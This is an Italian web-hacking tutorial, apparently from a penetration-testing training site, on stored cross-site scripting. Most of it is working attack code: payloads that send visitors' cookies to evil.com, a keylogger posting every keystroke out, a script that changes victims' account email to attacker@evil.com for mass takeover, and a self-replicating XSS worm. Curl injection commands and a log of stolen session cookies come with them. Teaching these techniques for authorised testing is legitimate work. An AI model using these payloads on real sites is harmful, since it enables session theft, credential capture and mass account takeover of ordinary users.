web-hacking

XSS Stored (Persistent XSS): Exploit, Cookie Theft e Worm Web

XSS Stored (Persistent XSS): Exploit, Cookie Theft e Worm Web

XSS Stored spiegato: Cos'è Cross site scripting, payload persistenti salvati nel database, cookie theft, account takeover e worm auto-replicanti nelle web application.

  • Pubblicato il 2026-03-21
  • Tempo di lettura: 6 min

Un XSS Stored (o XSS Persistente) è una vulnerabilità in cui il payload JavaScript dell’attaccante viene salvato nel database dell’applicazione e poi eseguito nel browser di ogni utente che visita la pagina che contiene quel dato. A differenza del XSS Reflected — dove la vittima deve cliccare un URL specifico — lo Stored non richiede interazione: il payload è già nella pagina, pronto a scattare.

Questo lo rende molto più pericoloso. Un commento con payload XSS in un forum viene eseguito da tutti gli utenti che leggono quel thread — centinaia, migliaia di persone. Un nome utente con JavaScript viene eseguito nella dashboard di ogni admin che visualizza la lista utenti. Un messaggio in una chat aziendale viene eseguito da ogni dipendente che apre la conversazione.

L’XSS Stored è la base dei worm web: payload auto-replicanti che si propagano da profilo a profilo senza intervento umano.

Leggi anche la guida completa di XSS. Vedi anche: XSS Reflected, XSS DOM-Based, CSRF.

Riferimenti: PortSwigger Stored XSS, OWASP XSS, HackTricks XSS.


Dove Si Nasconde — Ogni Campo Che Viene Salvato E Visualizzato #

bash
# La regola: se un campo viene salvato nel database e poi mostrato
# in una pagina HTML → è un potenziale punto di XSS Stored.

# Punti classici ad alta probabilità:
Commenti / Recensioni       # Blog, e-commerce, forum
Messaggi chat               # Chat interne, supporto, ticketing
Profilo utente              # Nome, bio, indirizzo, "about me"
Nome file upload            # filename: "<img src=x onerror=alert(1)>.jpg"
Titolo di post/articoli     # CMS, piattaforme di contenuti
Campi di feedback/segnalazione  # "Descrivi il problema"
Note interne                # CRM, project management, HR tools

# Punti meno ovvi ma frequenti:
User-Agent                  # Loggato e mostrato nella dashboard admin
Referer header              # Loggato e mostrato nei report
Nome del dispositivo        # "iPhone di <script>alert(1)</script>"
Campo "azienda" o "ruolo"   # In directory interne
Indirizzo di spedizione     # Mostrato nella conferma ordine
Log delle ricerche          # Se l'admin visualizza le ricerche degli utenti
Webhook URL / callback      # Se mostrato in un pannello di configurazione

Il Flusso Dell’Attacco #

text
1. L'attaccante inserisce il payload in un campo → lo salva
   Es: Commento: "Ottimo prodotto! <script>alert(1)</script>"

2. Il server salva nel database: "Ottimo prodotto! <script>alert(1)</script>"

3. Un altro utente visita la pagina che mostra quel commento

4. Il server genera l'HTML:
   <div class="comment">Ottimo prodotto! <script>alert(1)</script></div>

5. Il browser della vittima esegue il JavaScript

6. L'attaccante non ha fatto nulla dopo il salvataggio.
   Il payload lavora da solo, su OGNI visitatore.

Injection — Payload Per Contesto #

Il campo finisce in HTML #

html
<!-- Commento, bio, nome: -->
<div>YOUR_INPUT</div>

<!-- Payload: -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Il campo finisce in un attributo #

html
<!-- Nome utente dentro un attributo: -->
<span title="YOUR_INPUT">Username</span>

<!-- Payload: -->
" onmouseover=alert(1) style="position:fixed;width:100%;height:100%
" onfocus=alert(1) autofocus="

Il campo finisce in Markdown/Rich Text #

markdown
Molte piattaforme accettano Markdown o rich text nei commenti:

<!-- Markdown che genera tag HTML: -->
[Click me](javascript:alert(1))
![img](x" onerror="alert(1))
<details open ontoggle=alert(1)>test</details>

<!-- Editor WYSIWYG (TinyMCE, CKEditor): -->
<!-- Spesso hanno whitelist di tag ma dimenticano eventi: -->
<div contenteditable onblur=alert(1)>click here</div>

Il campo è il nome di un file #

bash
# Upload un file con nome malevolo:
filename: '"><img src=x onerror=alert(1)>.jpg'

# Quando la pagina mostra "File caricato: "><img src=x onerror=alert(1)>.jpg"
# Il tag img si inietta nell'HTML → XSS!

# In Burp: intercetta l'upload → modifica il filename nel multipart

Payload Operativi — Oltre alert(1) #

javascript
// Ogni utente che visita la pagina → cookie inviato all'attaccante:
<script>
new Image().src='https://evil.com/c?c='+document.cookie+'&u='+location.href
</script>
// Il parametro &u= ti dice anche QUALE pagina l'utente stava visitando

Keylogger Persistente #

javascript
<script>
document.addEventListener('keypress',function(e){
  fetch('https://evil.com/k',{method:'POST',body:JSON.stringify({
    key:e.key, page:location.pathname, time:Date.now()
  })})
})
</script>
// Cattura OGNI tasto premuto da OGNI utente che visita la pagina
// Incluse password inserite in form sulla stessa pagina

Account Takeover Automatico #

javascript
<script>
// Cambia l'email dell'utente → poi fai password reset → account takeover
fetch('/api/account/settings', {
  method: 'PUT',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
}).then(r => {
  // Log per conferma
  fetch('https://evil.com/ato', {method:'POST', body: 'email changed for ' + document.cookie})
})
</script>
// Ogni utente che visita → la sua email viene cambiata
// L'attaccante fa password reset → account takeover di massa

XSS Worm (Auto-Replicante) #

javascript
<script>
// Il worm si replica: modifica il profilo della vittima con lo stesso payload
var worm = '<script>'+document.currentScript.textContent+'<\/script>';
fetch('/api/profile', {
  method: 'PUT',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({bio: worm})
});
// Visitatore A legge il commento → il suo profilo viene infettato
// Visitatore B legge il profilo di A → anche B viene infettato
// Propagazione esponenziale → WORM
</script>

Dove Cercarlo — La Strategia #

bash
# Step 1: Mappa tutti i campi che vengono salvati
# Registra un account → compila OGNI campo con una stringa unica:
# Nome: hackita_name_xss7
# Bio: hackita_bio_xss7
# Commento: hackita_comment_xss7
# etc.

# Step 2: Visita ogni pagina dove quei campi potrebbero apparire
# - Il tuo profilo (visto da te)
# - Il tuo profilo (visto da altri → usa un secondo account)
# - La lista utenti (vista dall'admin)
# - La pagina del commento
# - L'email di notifica (se i campi appaiono nelle email)
# - Il pannello admin (dashboard, report, audit log)

# Step 3: Cerca la stringa nella response
# Se "hackita_name_xss7" appare senza encoding → potenziale XSS

# Step 4: Sostituisci con payload
# Primo test: <b>test</b> → se appare in bold → HTML interpretato → XSS probabile
# Secondo test: <img src=x onerror=alert(1)> → se alert appare → confermato!

Output Reale #

Injection Nel Commento #

bash
# Salva un commento con payload:
$ curl -X POST "https://target.com/api/products/42/reviews" \
  -H "Authorization: Bearer USER_TOKEN" \
  -d '{"rating":5,"text":"Ottimo prodotto! <img src=x onerror=\"fetch(\\\"https://evil.com/c?\\\"+document.cookie)\">"}'

{"status":"Review published"}

# Un altro utente visita la pagina del prodotto:
# Il browser esegue il JavaScript → cookie inviato a evil.com

# Sul server dell'attaccante:
$ tail access.log
GET /c?session=eyJhbGciOiJIUzI1NiJ9...admin_session HTTP/1.1
GET /c?session=eyJhbGciOiJIUzI1NiJ9...user42_session HTTP/1.1
GET /c?session=eyJhbGciOiJIUzI1NiJ9...user43_session HTTP/1.1
# → Cookie di OGNI visitatore della pagina prodotto!

Injection Nel Nome File #

bash
# Upload con filename malevolo:
$ curl -X POST "https://target.com/api/upload" \
  -H "Authorization: Bearer TOKEN" \
  -F 'file=@photo.jpg;filename="<img src=x onerror=alert(document.domain)>.jpg"'

{"status":"Uploaded","filename":"<img src=x onerror=alert(document.domain)>.jpg"}

# La pagina "File caricati" dell'admin mostra il filename → XSS eseguito nel browser admin!

Workflow Operativo #

Step 1 → Mappa i campi salvati #

Identifica ogni campo che viene salvato e poi mostrato in una pagina.

Step 2 → Probe con stringa unica #

Inserisci hackita_<campo>_test in ogni campo. Verifica dove appare nelle pagine, specialmente nelle pagine admin.

Step 3 → Test HTML rendering #

Inserisci <b>test</b>. Se appare in bold → HTML interpretato.

Step 4 → Payload reale #

<img src=x onerror=alert(document.domain)> — conferma XSS con il dominio nel popup.

Step 5 → Escala #

Cookie theft, account takeover automatico, keylogger, o worm — in base all’impatto che vuoi dimostrare.


Enterprise Escalation #

text
XSS Stored nella recensione di un prodotto
→ L'admin visita la pagina prodotto per moderare
→ Cookie admin catturato → session hijacking
→ Admin panel → export database
→ FULL COMPROMISE da un commento

XSS Stored → Worm → Mass Account Takeover #

text
XSS Stored nel campo "bio" del profilo
→ Il payload si replica nel profilo di ogni visitatore
→ 100 profili infettati in 24 ore → 1.000 in 48 ore
→ Ogni profilo infettato cambia l'email dell'utente a attacker@evil.com
→ Password reset → MASS ACCOUNT TAKEOVER

Chat Interna → Keylogger → Credential Theft #

text
XSS Stored in un messaggio della chat aziendale su #general
→ 500 dipendenti aprono #general durante il giorno
→ Keylogger cattura tutto ciò che digitano sulla pagina
→ Incluse password inserite in altri form sulla stessa pagina
→ CORPORATE CREDENTIAL THEFT

Caso Studio #

Settore: E-commerce italiano, 100.000 clienti, sezione recensioni.

Il campo “testo recensione” accettava HTML senza sanitizzazione. Il payload <img src=x onerror=...> nel testo di una recensione a 5 stelle di un prodotto popolare. Ogni cliente che visitava la pagina prodotto → cookie catturato.

La pagina del prodotto aveva circa 200 visite al giorno. In 3 giorni: 600 cookie di sessione catturati, inclusi 3 cookie di admin (che moderavano le recensioni). Con il cookie admin: accesso al pannello → export ordini con nome, indirizzo, storico acquisti di 100.000 clienti.

Il cookie non aveva HttpOnly — l’aggiunta di quel singolo flag avrebbe bloccato il cookie theft (ma non gli altri payload come account takeover via API o phishing in-page).

Una recensione a 5 stelle → 600 sessioni rubate → data breach di 100.000 clienti.


✅ Checklist XSS Stored #

text
DISCOVERY
☐ Ogni campo salvato identificato (commenti, profilo, chat, filename, note)
☐ Dove vengono mostrati? (pagina pubblica, admin, email, report)
☐ Stringa unica inserita in ogni campo
☐ Reflection verificata in ogni contesto di visualizzazione

PROBE
☐ <b>test</b> → HTML interpretato?
☐ Caratteri < > " ' non encodati nella response?
☐ Encoding diverso tra pagina pubblica e pagina admin?

EXPLOITATION
☐ <img src=x onerror=alert(document.domain)> → esecuzione confermata
☐ Cookie theft PoC funzionante
☐ Account takeover automatico PoC (se impatto richiesto)
☐ Testato: il payload esegue anche nel browser di ALTRI utenti?

IMPATTO
☐ Quanti utenti visitano la pagina infettata?
☐ Admin visitano la pagina? (escalation possibile)
☐ Cookie con HttpOnly? (se sì → dimostra impatto alternativo)
☐ Worm auto-replicante dimostrabile?

Riferimenti: PortSwigger Stored XSS, OWASP XSS, HackTricks XSS.

Satellite della Guida XSS Completa. Vedi anche: XSS Reflected, XSS DOM-Based, Session Hijacking, CSRF.

I campi dei commenti sono sanitizzati? I nomi file sono escapati? Le pagine admin mostrano input degli utenti? Penetration test HackIta per ogni XSS Stored nella tua applicazione. Dal commento all’account takeover: formazione 1:1.

#xss #cross site scripting #stored-xss

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.